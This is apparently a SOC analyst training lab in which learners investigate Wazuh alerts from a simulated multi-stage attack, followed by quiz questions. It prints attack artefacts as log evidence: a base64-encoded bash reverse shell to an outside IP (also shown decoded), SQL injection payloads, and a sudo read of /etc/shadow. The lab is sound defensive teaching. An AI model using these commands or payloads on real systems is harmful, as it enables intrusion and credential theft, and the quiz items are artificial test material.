What You'll Learn
- Perform field-level forensic analysis on 5 critical event types inside Wazuh
- Decode Windows subStatus codes and identify attacker enumeration patterns
- Use external enrichment tools (AbuseIPDB, CyberChef, MITRE ATT&CK) to add context to raw alerts
- Trace a multi-stage attack across two systems by correlating timestamps and IPs
- Write structured analyst notes that connect individual events into an attack narrative
Lab Overview
| Detail | Value |
|---|---|
| Lab Profile | lab-wazuh |
| Containers | Wazuh Manager, Wazuh Indexer, Wazuh Dashboard, Wazuh Agent |
| Estimated Time | 75–90 minutes |
| Difficulty | Intermediate |
| Browser Access | Wazuh Dashboard + external tools in separate tabs |
| Pre-Loaded Data | 500+ events including a multi-stage attack scenario |
| Deliverable | Completed Investigation Worksheet with analyst notes for 5 events |
From Log Reader to Analyst. In Module 1, you learned to navigate Wazuh, identify log sources, and map ATT&CK techniques. Now it's time to think like an analyst. Instead of just finding events, you'll investigate them — extracting critical fields, enriching IPs against threat intelligence, decoding obfuscated payloads, and connecting dots across systems to tell the story of an attack.
Before You Begin: Tools Setup
You'll need the Wazuh Dashboard (opens when you start the lab) plus these free browser-based tools in separate tabs:
| Tool | URL | Purpose |
|---|---|---|
| AbuseIPDB | abuseipdb.com | IP reputation lookup — check if attacker IPs are known malicious |
| CyberChef | gchq.github.io/CyberChef | Decode base64, extract strings, transform data |
| MITRE ATT&CK | attack.mitre.org | Look up technique IDs to understand attacker behavior |
Real SOC Parallel. Production SOC analysts routinely pivot between their SIEM, threat intel platforms (MISP, VirusTotal, AbuseIPDB), and reference frameworks (MITRE ATT&CK). This lab trains that exact workflow.
The Scenario
Your Wazuh environment contains events from a real attack scenario spanning two systems. An attacker (or group) used multiple IPs and techniques to compromise your network over approximately 1 hour 18 minutes. Your job is to investigate 5 key events, extract forensic details, enrich them with external intelligence, and connect them into a single attack narrative.
About Timestamps. The attack events in your lab are timestamped relative to when you started the lab — they'll appear within the last few hours. The relative gaps between events are preserved (the brute force starts first, the reverse shell is last, with about 78 minutes between them). Use the rule.id and source IP fields shown below to find each event, then note the actual timestamps you observe.
Part 1: Investigation Exercise — Windows Failed Logons (Event 4625)
Step 1: Find the Events
In the Wazuh Dashboard, navigate to Security Events and search for:
rule.id: 18152
You should find multiple Windows 4625 (failed logon) events on WIN-SERVER-01 from the IP 91.234.99.87.
Step 2: Extract Key Fields
Click on one of the 4625 events and expand it. Use the Field Extraction Worksheet below to record the following fields:
For the Windows 4625 event, extract:
| Field | Your Finding |
|---|---|
data.win.eventdata.targetUserName | (which account was targeted?) |
data.win.eventdata.targetDomainName | (which domain?) |
data.win.eventdata.logonType | (what type of remote access?) |
data.win.eventdata.ipAddress | (attacker IP) |
data.win.eventdata.status | (overall error code) |
data.win.eventdata.subStatus | (specific failure reason) |
Step 3: Decode the subStatus
The subStatus field is where the real forensics happens. Windows encodes the specific failure reason:
| subStatus Code | Meaning | Analyst Implication |
|---|---|---|
0xc000006a | Wrong password | Attacker knows a valid username — they're close |
0xc0000064 | No such user | Attacker is guessing usernames — less targeted |
0xc0000072 | Account disabled | Attacker found an account but it's locked down |
0xc0000234 | Account locked out | Previous brute force triggered lockout policy |
Question for your notes: What subStatus code do you see in these events? What does it tell you about how close the attacker was to success?
Step 4: Enrich the IP
Open AbuseIPDB in a new tab and search for 91.234.99.87.
Record in your notes:
- Confidence of Abuse Score: What percentage?
- Country: Where is this IP geolocated?
- Reports: How many reports exist? What categories?
- ISP: Who owns this IP range?
Step 5: Map to ATT&CK
The Wazuh alert already tags this as T1110 (Brute Force). Open attack.mitre.org/techniques/T1110 and record:
- Which sub-technique best matches? (T1110.001 Password Guessing? T1110.003 Password Spraying?)
- What mitigations does MITRE recommend?
Analyst Note Template — Event 1:
EVENT: Windows 4625 (Failed Logon)
AGENT: WIN-SERVER-01 (10.0.2.20)
TIME: [note the timestamps from your lab]
ATTACKER IP: 91.234.99.87
TARGET ACCOUNT: [your finding]
SUBSTATUS: [your finding] → Meaning: [your interpretation]
ABUSEIPDB SCORE: [your finding]
ATT&CK TECHNIQUE: T1110 — [sub-technique]
VERDICT: [Benign / Suspicious / Malicious] — [your reasoning]
Part 2: Investigation Exercise — Successful Logon After Failures (Event 4624)
Step 1: Find the Event
Search Wazuh for:
rule.id: 60106
This rule fires when a successful logon follows previous failures — one of the most important patterns in SOC work. Find the event from 91.234.99.87 — it occurs roughly 22 minutes after the failed logon attempts.
Step 2: Extract Key Fields
| Field | Your Finding |
|---|---|
data.win.eventdata.targetUserName | (which account succeeded?) |
data.win.eventdata.logonType | (how did they log in?) |
data.win.eventdata.ipAddress | (same attacker IP?) |
data.win.eventdata.workstationName | (what machine connected?) |
Step 3: Analyze the Workstation Name
The workstationName field reveals the hostname of the connecting machine. In your lab, you should see EVIL-PC.
Critical thinking questions:
- Is "EVIL-PC" a name that belongs to your domain (CYBERBLUE)?
- What does a non-domain workstation name tell you?
- How much time elapsed between the last failed logon and this success?
Step 4: Compare with Legitimate Logons
Search for other 4624 events to see what normal looks like:
data.win.system.eventID: 4624
Compare:
| Attribute | Legitimate Logon | Suspicious Logon |
|---|---|---|
| Source IP | Internal (10.x.x.x) | 91.234.99.87 (external) |
| Workstation | Domain-joined names | EVIL-PC |
| Time Pattern | Business hours | Shortly after brute force attempts |
Analyst Note Template — Event 2:
EVENT: Windows 4624 (Logon Success after Failures)
RULE: 60106 — Logon success after previous failures
AGENT: WIN-SERVER-01 (10.0.2.20)
TIME: [your finding] (~22 minutes after brute force started)
ATTACKER IP: 91.234.99.87 (same as failed logons)
WORKSTATION: [your finding]
ACCOUNT: [your finding]
CORRELATION: Failed → Success pattern confirms brute force succeeded
VERDICT: [your assessment]
Part 3: Investigation Exercise — Web Shell Sudo Escalation
Step 1: Find the Events
Search Wazuh for sudo events from the web service account:
data.srcuser: www-data AND rule.groups: sudo
You should find three escalation events on linux-web-01, each progressively more dangerous.
Step 2: Trace the Escalation Chain
Document each command in chronological order:
| Order | Rule | Command | Severity |
|---|---|---|---|
| 1st (earliest) | 5401 (First time sudo) | /usr/bin/id | Reconnaissance — testing access |
| 2nd (~2 min later) | 5402 (Sudo to ROOT) | /bin/bash -c 'cat /etc/shadow' | Credential theft — reading password hashes |
| 3rd (~7 min after 1st) | 5402 (Sudo to ROOT) | /bin/bash | Full shell — complete system control |
Step 3: Understand Why This Is Critical
www-data is the Apache web server process account. It should never execute sudo. This pattern reveals:
- The attacker gained code execution through the web application (likely via the SQL injection you'll investigate next)
- They discovered the web server has overly permissive sudo rights
- They escalated from a limited service account to full root access in 7 minutes
Step 4: Map to ATT&CK
Look up T1548.003 (Abuse Elevation Control Mechanism: Sudo and Sudo Caching) on MITRE ATT&CK:
- What procedure examples match this behavior?
- The
/etc/shadowread maps to which additional technique? (Hint: T1003 — OS Credential Dumping)
Analyst Note Template — Event 3:
EVENT: Sudo Escalation Chain (www-data → root)
AGENT: linux-web-01 (10.0.2.15)
TIME: [note timestamps from your lab] (spanning ~7 minutes)
SOURCE USER: www-data (web service account)
COMMANDS: [list all three]
ESCALATION PATH: Service account → id → shadow read → full shell
ATT&CK: T1548.003 (Sudo Abuse), T1003 (Credential Dumping)
ROOT CAUSE: [why could www-data sudo? — misconfigured sudoers]
VERDICT: [your assessment]
Part 4: Investigation Exercise — SQL Injection Attack
Step 1: Find the Events
Search Wazuh for:
rule.id: 31103
You should find two SQL injection events from IP 203.0.113.50 targeting linux-web-01.
Step 2: Analyze the Payloads
Expand each event and examine the full_log field carefully:
Event 1 — GET-based injection:
203.0.113.50 - - [<date/time in your lab>] "GET /api/users?id=1'+OR+'1'='1 HTTP/1.1" 400 0 "-" "sqlmap/1.7.2"
Event 2 — POST-based injection (occurs ~2 minutes after Event 1):
203.0.113.50 - - [<date/time in your lab>] "POST /api/login HTTP/1.1" 400 0 "-" "sqlmap/1.7.2" "admin' UNION SELECT password FROM users--"
Step 3: Extract Forensic Details
| Detail | Event 1 | Event 2 |
|---|---|---|
| Method | GET | POST |
| Target Endpoint | /api/users | /api/login |
| Payload | 1'+OR+'1'='1 (boolean-based) | admin' UNION SELECT password FROM users-- (UNION-based) |
| Tool | sqlmap/1.7.2 | sqlmap/1.7.2 |
| HTTP Response | 400 | 400 |
Step 4: Understand the Attack Tool
The User-Agent reveals the attacker used sqlmap — an open-source automated SQL injection tool. Key observations:
- Version 1.7.2 is relatively recent
- The attacker progressed from boolean-based to UNION-based injection (escalating techniques)
- The POST payload targets the login endpoint and attempts to dump the password column
- Both requests returned 400, but the attacker may have succeeded with other requests not captured
Step 5: Connect to the Web Shell
Timeline correlation: The SQL injection events occur just minutes before the www-data sudo to /bin/bash. Compare the timestamps — this tight sequence suggests the SQL injection was the initial access vector that led to code execution on the web server.
Analyst Note Template — Event 4:
EVENT: SQL Injection Attempt (Level 12)
AGENT: linux-web-01 (10.0.2.15)
TIME: [note timestamps from your lab] (two events ~2 min apart)
ATTACKER IP: 203.0.113.50
TOOL: sqlmap/1.7.2 (automated)
TARGETS: /api/users (GET), /api/login (POST)
PAYLOADS: Boolean-based OR, UNION SELECT password dump
ATT&CK: T1190 (Exploit Public-Facing Application)
CORRELATION: Timing aligns with www-data escalation → likely initial access vector
VERDICT: [your assessment]
Part 5: Investigation Exercise — Base64 Encoded Reverse Shell
Step 1: Find the Event
Search Wazuh for:
rule.id: 100002
Find the event on linux-web-01 — it is the last event chronologically in the attack sequence, occurring roughly 12 minutes after the sudo escalation.
Step 2: Extract the Encoded Command
In the data.command or full_log field, you'll find:
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xODUuMjIwLjEwMS40Mi80NDQ1IDA+JjE=' | base64 -d | bash
Step 3: Decode with CyberChef
Open CyberChef and perform these steps:
- Paste the base64 string:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xODUuMjIwLjEwMS40Mi80NDQ1IDA+JjE= - Add the "From Base64" recipe
- The decoded output reveals:
bash -i >& /dev/tcp/185.220.101.42/4445 0>&1
Step 4: Analyze the Reverse Shell
Break down the command:
| Component | Meaning |
|---|---|
bash -i | Interactive bash shell |
>& | Redirect stdout and stderr |
/dev/tcp/185.220.101.42/4445 | TCP connection to 185.220.101.42 on port 4445 |
0>&1 | Redirect stdin to the same connection |
This is a classic bash reverse shell. The compromised server initiates an outbound connection to the attacker, giving them an interactive shell.
Step 5: Connect the IPs
Critical discovery: The reverse shell connects to 185.220.101.42 — the same IP that performed the SSH brute force attack at the start of the attack timeline. This confirms:
- The SSH brute force and the reverse shell are part of the same operation
- The attacker used multiple IPs for different attack phases
- 185.220.101.42 is both a scanning source and a C2 (Command & Control) server
Step 6: Enrich the C2 IP
Search AbuseIPDB for 185.220.101.42 and record:
- Abuse confidence score
- Known associations (Tor exit node? Botnet C2?)
- Country and ISP
Analyst Note Template — Event 5:
EVENT: Base64 Encoded Reverse Shell
AGENT: linux-web-01 (10.0.2.15)
TIME: [note timestamp from your lab] (final event in attack sequence)
EXECUTED BY: root (via www-data escalation)
ENCODED PAYLOAD: YmFzaCAtaSA+JiAvZGV2L3RjcC8xODUuMjIwLjEwMS40Mi80NDQ1IDA+JjE=
DECODED: bash -i >& /dev/tcp/185.220.101.42/4445 0>&1
C2 ADDRESS: 185.220.101.42:4445
ABUSEIPDB SCORE: [your finding]
IP CORRELATION: Same IP as SSH brute force (earliest events) — confirms single actor
ATT&CK: T1059.004 (Unix Shell), T1027 (Obfuscated Files)
VERDICT: [your assessment]
Part 6: Build the Attack Narrative
Now that you've investigated all 5 events, it's time to connect them into a unified attack story.
The Complete Timeline
| Relative Time | Event | Agent | ATT&CK Phase |
|---|---|---|---|
| T+0 min | SSH brute force (12 attempts, 8 usernames) | linux-web-01 | Credential Access (T1110) |
| T+15 min | Windows logon failures (subStatus: wrong password) | WIN-SERVER-01 | Credential Access (T1110) |
| T+37 min | Windows logon success (workstation: EVIL-PC) | WIN-SERVER-01 | Initial Access (T1078) |
| T+63 min | Web shell file added (wp-config.bak.php) | linux-web-01 | Persistence (T1505.003) |
| T+66 to T+73 min | www-data sudo chain (id → shadow → bash) | linux-web-01 | Privilege Escalation (T1548.003) |
| T+71 to T+73 min | SQL injection with sqlmap | linux-web-01 | Initial Access (T1190) |
| T+78 min | Reverse shell to 185.220.101.42:4445 | linux-web-01 | Command & Control (T1059.004) |
Write Your Final Analyst Summary
Using the notes from all 5 exercises, write a summary that answers:
- How many attacker IPs were involved? (List each and its role)
- Are they the same threat actor? (What evidence connects them?)
- What was the kill chain? (Map to MITRE ATT&CK phases)
- What is the highest severity? (Justify your rating)
- What are your containment recommendations? (Immediate actions)
Model Analyst Summary:
Three IPs (185.220.101.42, 91.234.99.87, 203.0.113.50) conducted a coordinated multi-stage attack against both Linux and Windows systems. The SSH brute force from 185.220.101.42 served as initial reconnaissance. The Windows brute force from 91.234.99.87 achieved account compromise (4624 from EVIL-PC). SQL injection from 203.0.113.50 exploited the web application, leading to web shell deployment and sudo escalation. The final reverse shell connected back to 185.220.101.42, confirming this IP as the C2 server and linking all phases to a single threat actor. Severity: Critical. Immediate containment: block all three IPs at the firewall, rotate the Administrator password, revoke www-data sudo privileges, and take linux-web-01 offline for forensic imaging.
Deliverable Checklist
Before completing the lab, ensure you have:
- Event 1 Notes: Windows 4625 with subStatus decoded and IP enriched
- Event 2 Notes: Windows 4624 with workstation name analysis and comparison to legitimate logons
- Event 3 Notes: Full sudo escalation chain documented with ATT&CK mapping
- Event 4 Notes: SQL injection payloads analyzed with tool identification
- Event 5 Notes: Base64 decoded with CyberChef, C2 IP enriched
- Attack Narrative: Complete timeline connecting all 5 events with verdict and recommendations
Lab Challenge: Log Source Deep Dive
10 questions · 70% to pass
In the Windows 4625 events from 91.234.99.87, the subStatus code is 0xc000006a. What does this specific code reveal about the attacker's progress?
What is the workstationName in the Windows 4624 (successful logon) event from 91.234.99.87, and why is this field forensically significant?
When decoding the base64 string YmFzaCAtaSA+JiAvZGV2L3RjcC8xODUuMjIwLjEwMS40Mi80NDQ1IDA+JjE= in CyberChef, what C2 port does the reverse shell connect to?
The SQL injection events reveal the attacker used an automated tool. What User-Agent string identifies this tool, and what version is it?
In the www-data sudo escalation chain, what is the SECOND command executed and what credential data does it target?
What critical evidence links the SSH brute force at the start of the attack to the reverse shell at the end?
The Windows 4624 event has logonType 3. In the context of this investigation, what does Logon Type 3 mean and why does it matter?
In the SQL injection events, the attacker progressed from a GET request to a POST request. What does the POST payload 'admin\' UNION SELECT password FROM users--' specifically attempt to do?
How many distinct external attacker IPs are involved in this multi-stage attack? List them by their roles.
Based on the complete attack timeline, what is the total elapsed time from the first attack event (SSH brute force) to the final event (reverse shell), and which IMMEDIATE containment action should an analyst prioritize FIRST?
0/10 answered